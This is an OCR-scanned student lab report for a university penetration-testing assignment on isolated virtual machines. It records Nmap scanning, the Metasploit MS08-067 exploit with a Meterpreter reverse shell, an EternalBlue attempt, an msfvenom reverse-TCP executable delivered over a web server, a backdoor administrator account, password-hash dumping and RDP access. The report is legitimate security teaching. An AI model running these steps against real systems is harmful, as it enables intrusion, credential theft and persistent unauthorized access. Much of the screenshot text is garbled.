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At the end of this module, each student must submit a report indicating the completion of the following
tasks. Make sure you take screenshots as proof.
You need to power on and start the following VMs for this assignment.

o Internal Kali
e pfSense VM (power on only) -Optional, as Internal Kali is used as attacker VM here in this

assignment)
e  Windows XP, Windows Server 2022, or Windows 7 (depending on the subtasks).

Network References

Role Machine ‘ IP Address
Attacker Internal Kali Linux 192.168.10.13
Task A Target Windows XP 192.168.10.14
Task B Target Windows Server 2022 192.168.10.19
Task C Target Windows 7 192.168.10.9

Firewall (optional) pfSense 192.168.10.2
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Task A. Exploit SMB vulnerability on Windows XP using Metasploit framework (30 pts)

Please activate Windows XP clock by following the document posted under Module-3
or demonstrated in class.

In this task, you need to complete the following steps to exploit SMB vulnerability on Windows XP.
1. (2 pts) Network Scanning: Run an Nmap scan against the target machine to find
e open ports: 135, 139, 445

e running services: Microsoft Windows XP
e Smb vulnerabilities: smb-vuln-ms08-067

Submit the screenshot of the Nmap command used with the relevant scan results

Command >> nmap-Sv-0192.168.10.14

Kali - Internal Workstation on CY301-CLOCHOO!

root@kali: =

File Actions Edit View Help
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2. (3 pts) Identify the SMB port number (default: 445) to confirm that it is open. Briefly explain (2—3
sentences) of what MS08-067 is and why was it severe?

Microsoft)

vulnerable to

Explanation:

Port 445 is the default port for SMB (Server Message Block), the Windows file-sharing and network
communication protocol. MS08-067 is a critical stack buffer overflow vulnerability in the NetpwPathCanonicalize()
function inside Windows' Server service (NetAPI132.dll), publicly disclosed in October 2008. It allows an
unauthenticated remote attacker to execute arbitrary code by sending a specially crafted RPC request over port 445.
The vulnerability was rated CVSS 10.0 and is considered wormable — it was famously exploited by the Conficker
worm, which infected millions of machines globally.
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3. (2 pts) Launch Metasplmt Framework and Search for the module related to MS08-067

¥ali - Internal Workstation on CY3

root @hali

File Actions

4. (2 pts) Select: exploit/windows/smb/ms08 067 _netapi
5. (2 pts) Set payload: windows/meterpreter/reverse_tcp
(2 pts) Configure: RHOSTS, LHOST and LPORT

LHOSTS.
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7. (2 pts) Display the configurations and screenshot of “show options”

8. (5 pts) Run exploit and confirm Meterpreter session

9. (5 pts) Explain why the exploit succeeded (or did not succeed)

Explanation:

The exploit succeeded because Windows XP is an unpatched legacy operating system that lacks
modern exploit mitigations such as Address Space Layout Randomization (ASLR) and enforced Data
Execution Prevention (DEP). Port 445 (SMB) is open and unfiltered by default, giving the attacker direct
access to the vulnerable service. The ms08 067 netapi Metasploit module targets the stack buffer
overflow in NetpwPathCanonicalize() with precision — by sending a malformed path canonicalization
request, it overwrites the instruction pointer and redirects execution to the Meterpreter shellcode,
establishing a reverse TCP connection back to the attacker machine at 192.168.10.13.
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10. [Post-exploitation] (5 pts):

a. Capture screenshot: see below for details
Display system’s local date/time:
¢ shell >> Microsoft Windows XP [Version 5.1.2600]
e date /t && time /t >> Tue 03/10/2026 / 12:08 AM
c. Retrieve SID:
e getsid >> Server SID: 5-1-5-18
d. Identify current process ID:
e getpid >> Current pid: 1000
e. Gather system information:
e sysinfo >> Windows XP (5.1 Build 2600, Service Pack 3) / x86 / WORKGROUP

/t 6B time

sysinfo
ORG-JLF9IOGWXFM
Wi XP (5.1 Build

x86/windows
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Task B.  Testing Eternal Blue (MS17-010) Against Windows Server 2022 (10 pts)

In this task, try to exploit the EternalBlue vulnerability on Windows Server 2022. You may or may not
establish a reverse shell connection to Windows Server 2022.

e (5 pt) Show your results and configuration.
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e (5 pt) Explain why EternalBlue typically fails against Windows Server 2022.

NOTE: You won’t lose points for a failed reverse shell connection. But you will lose points for incorrect
configurations, such as putting the wrong IP address for LHOST/RHOST, etc.

Explanation:

EternalBlue exploits a critical race condition in the transaction handling of SMBv1, the first version of the Server
Message Block protocol. Windows Server 2022 has SMBv1l completely disabled by default, which means the
vulnerable code path is never reached. Even if SMBv1 were manually re-enabled, Windows Server 2022 enforces SMB
signing, preventing the spoofed packets the exploit relies on. Additionally, Server 2022 includes modern hardening
measures — Control Flow Guard (CFG), full ASLR (Address Space Layout Randomization), and DEP (Data Execution
Prevention) — all of which block the shellcode injection technique EternalBlue uses. Microsoft addressed the
underlying vulnerability with security patch MS17-010 in March 2017, well before Server 2022 was released.
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Task C. Exploit Windows 7 with a deliverable payload (60 pts).

In this task, you need to create an executable payload in Internal Kali with the required configurations
below.

1. Generate Executable Payload (5 *2pts = 20 pts)

Create a Windows executable payload

Use reverse_tcp

LPORT = 4444 (you may change it)

LHOST = Internal Kali IP

Payload filename = Your MIDAS ID.exe (for example, svatsa.exe)

oo o

Command >>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.13 LPORT=4444 -f exe -o cloch001.exe

2. Host and Deliver Payload (5* 2 pts = 10 pts)
a. Start a web server on Internal Kali

b. Upload payload to web root (Apache or python http server)
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File Actions Edit View Help

root@kali: ~ X root@kali: ~ %

£

cloch@®l.exe /var/vwww/html

-~

/var/wwm /html

cloch@@l.exe 1index.html 1index.nginx-debian

-

Svar/www/html/index.

=

Svar/vwew /html
cloch@®l.exe

c. Configure Metasploit handler

d. Execute payload on target

y exploit( ) > exploit

Started reverse TCP handler on 192.168.10.

e. Download payload from Windows 7

+":L'T!l_

4: 5444

Page |11



CYSE 301,

Assignment 4, Pen Testing in Windows

EP Window T on CVRI-CLOCHD - Viriusl Machine Conmection
File Action Medis Clipbosrd  Vies  Help
OO @®O nr k> P4
_Inl:q!m:p _n‘r. [ lectex el / n

C @ 1921683013

Index of /

Name Last modified  Sixe Description

Apachel 4. 58 (Debtan) Jerver ar [0 /68 18 13 Pary 50

B clock00] exz 2026-03.10 0220 TIK ‘-._.___

w-“tmr.nm I

-li,“ :u.n; '.'.-'_. Bl

Coganee = Inchudle o Mbsiary =
@ Favorte = o

B Daitep

=

Shamwith = Hew loide E- 3 ®

Dhar: povinteb v Typs

MIO/P000 20 AN Applcmion

P o
| Recent Placey |
# g Librames

o biasic

¢ i Prctuees

B vigecs

o Homagmip. = s

BB Windwers 7 om CV301-CLOCHIO0! - Yirhasl Machine Connection
Fle  A&mion  Mesis Clpbowrd Vs Help
BOWPO nr ko PN

| Pty arren My [ Incesets "

-G @ 1921601013
Index of /
Name  Last modified Siax Description
Y clochi00) e 2026-05-10 02:20 TIK

Apache2.4 3§ (Dedian) Server ot [92.168.10.13 Porr 58

The exniil rud b vordimd  Arn g ey wand (o
B e

W Hamm  CLiveed andem 7 Davwnisad cinchliil e
E Fubisher  Uininown Pudnser

Tipm  Apphcatsn

Fm O Ly L)

—p [ A =]

Tra e o it P & valed gl g il veedrs B
¢ Clive ﬁ“-‘“ﬂ_‘_-_““
i
G"‘\,‘v'l+ Windem 1 ¢ Deseninats
CGrganie = & Open Shary with, = Pers Feliden E+ 5 @
ir ¥ = Piarnw E [lwie medidad Type
BB Cesstep = ceniiin, VAR 15 AN Apphcaten
& Dewalosdy
1 Pecent Place
A Lianm
E—Dm r
o' Music
i Pihares
B vidtess
o Homegoup = ¢ | = ;
T dochdtl  Dew sediiet 11800 £ AM DCats comutect 1710/2008 19 AML
Epphaapen Sew T2DKB

Page |12



CYSE 301, Assignment 4, Pen Testing in Windows Page |13

3. Post-Exploitation (10 pts)

-Ba00

After the session is established, in Meterpreter:

a. (2 pt) Execute the command to take a screenshot of the target machine if the exploit is
successful.

oot/BMBelalT. jpeg

b. 4 pt) Create a text file with the name as YourMIDAS.txt (for example, svatsa.txt) and put
the current timestamp in the file.

All rights r

%XDATEX ¥TIMEX > C:\cloch@®l.txt

<LXL

ATEX XTIMEX > %XTEMP%\clochf@l.txt

c. (2 pt) Upload the above text file (YourMIDAS.txt) to the Windows 7 Desktop folder
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d. (2 pt) Login to Windows 7 and verify if the file exists

L& I
—— ™ N .
...... Y ‘.i 1-1 _
': ; - o
- [ 4 £

@
G |
=

okl - Motesad S g

3 B i .

HINT: To learn about the command used in Meterpreter, type ‘?’ and hit “Enter” or “Return”
key.



CYSE 301, Assignment 4, Pen Testing in Windows Page |15

[Privilege escalation]

a. Gain Administrator Privileges (5 pts)
a. Background the current session

gac oun

msf6 exploit(

168.10.9:1045

c. Regain elevated session
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(Named Pipe Imp sonation (1

b. Create Malicious Admin Account (5 * 2 pts =10 pts)

Since you have now gained the elevated privilege, in the Meterpreter shell running on the attacker
side (Internal Kali),

a. (2 pts) Create a new user account (use your real name) with a valid password (do not use
your real password)

b.

132>net localgroup administrators
Carl /add

successfully.

c. (2 pts) Create three additional users with their passwords

d. (2 pts) Display the password hashes using correct command in meterpreter shell
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e. (2 pts) Redirect/copy those password hashes, of all the users created, in a new text file
named as, winHash.txt. Display the contents of the file, WinHash.txt

spool off

ow disabled

froot/winHash. txt

y file

@089 CH &
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[Remote Access via RDP]

a. (3 pts) In a new terminal in Internal Kali, enable RDP and log in using the malicious account created
in the previous step.
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b. (2 pts) Browse user folders in Windows

- ’ o
o | r’ Y E‘ e ) 1 Kalr - Internal Workstation on CY301-CLOCHO01

File Actions Edit View Help

root@kali: ~ X root@kali: ~ X root@kali:

Passwordl 192.168.10.9
Autoselecting | d n-us rom locale

TTENTION

fo rdesktop - 192.168.10.9

tif

Issue

@@ [ » Computer » Local Disk(C:) » Users » = [‘1” S

Organize v 4 Open Include in library + Share with New folder

Google

Chrome Name Date modified Type

¢ Favorites
Bl Desktop g Carl AM  Filefolder

& Downloads Public 7 0 0 AM File folder

=, Recent Places Window 7 2 22 File folder

4 Libraries

| Documents

Do you tru
Failed to
(warni 3 = Pictures
onnect Bvideus
Protocol(w
Clipboard(

@ Music

t& Homegroup
1% Computer

€ Network

window 7 State: 28 Shared Shared with: Carl
File folder Date modified: 8/24/2017 1:22 PM
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